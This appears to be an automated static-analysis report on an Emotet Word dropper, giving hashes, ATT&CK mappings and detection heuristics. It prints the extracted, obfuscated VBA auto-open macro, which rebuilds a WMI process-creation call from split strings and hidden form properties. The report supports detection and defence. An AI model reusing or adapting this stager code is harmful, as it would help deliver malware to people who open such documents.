Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8d6615121a0b1b33…

MALICIOUS

Office (OLE)

175.5 KB Created: 2020-07-21 14:50:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 1b1dabe983c88a6a83d2a4da05b94588 SHA-1: 192719dfb14350c813b7dc836f379f7812842c4f SHA-256: 8d6615121a0b1b33afda00c9d8a3cd32d2752202bfaf55b776c3067c48dd7648
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open auto-execution macro, and uses CreateObject, which are strong indicators of malicious intent. The ClamAV detection explicitly names this as an Emotet dropper. The VBA script is designed to download and execute a second-stage payload, likely leveraging the obfuscated string construction observed.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9536 bytes
SHA-256: 925d73942abe2b248424e7edb72b16d171647d1c67934faa9af86a2c5678c3b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "yiachbaur"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
laitluut
End Sub


Attribute VB_Name = "seewraetjeawfieth"
Attribute VB_Base = "0{69E63A6B-4418-438B-9EF1-35E3A7022C76}{FE9344DE-A4F1-458B-8BE7-0BFE1EB8CC65}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "naimjeidtisjequdeirmoc"
Function laitluut()
gaichbeompaic = Chr(seewraetjeawfieth.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
siathkairzodpialruukquoex = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + gaichbeompaic + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + seewraetjeawfieth.moorgeayfaiwthoufceok + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
caotsuufwic = zioltheimzoixyiekwoih(siathkairzodpialruukquoex)
Dim qVcuRkJreP As Object
Set voohsuakyaoz = CreateObject(caotsuufwic)
Dim lWiD As Byte
soyrioztheix = seewraetjeawfieth.giekcheuspouthjox.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
chirqueajtuqugeugroiqu = caotsuufwic + gaichbeompaic + seewraetjeawfieth.koum.ControlTipText + soyrioztheix
Dim kfTvg As Boolean
yuskeolheidthoujpich = chirqueajtuqugeugroiqu + seewraetjeawfieth.moorgeayfaiwthoufceok
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set xuupniexsoevhiewtoix = biel(yuskeolheidthoujpich)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, voohsuakyaoz. _
Create(quecchauhquuuh, cuchyonxoucfeif, xuupniexsoevhiewtoix))
Dim BZIhfU As Boolean
End Function
Function biel(theosxudviasciextauj)
Set biel = CreateObject(theosxudviasciextauj)
biel _
. _
showwindow = (quuuxpeazkeachquoothcakmuux + zobkohleurtoopriokmiof) + (daocgihdoudmeep + leuk)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function zioltheimzoixyiekwoih(jeorsuajchiovzioh)
joctepmoip = jeorsuajchiovzioh
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
jiazjiey = Split(joctepmoip, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
mouqu = posx + Join(jiazjiey, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
zioltheimzoixyiekwoih = mouqu
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function quecchauhquuuh()
io = seewraetjeawfieth.ceiw.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
quecchauhquuuh = zioltheimzoixyiekwoih(io)
End Function


' Processing file: /opt/analyzer/scan_staging/65aecc6d351d473ea0efe67d1c2b6dcc.bin
' ===============================================================================
' Module streams:
' Macros/VBA/yiachbaur - 1353 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub yiachbaur())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/seewraetjeawfieth - 1197 bytes
' Macros/VBA/naimjeidtisjequdeirmoc - 5341 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld seewraetjeawfieth 
' 	MemLd Chr 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.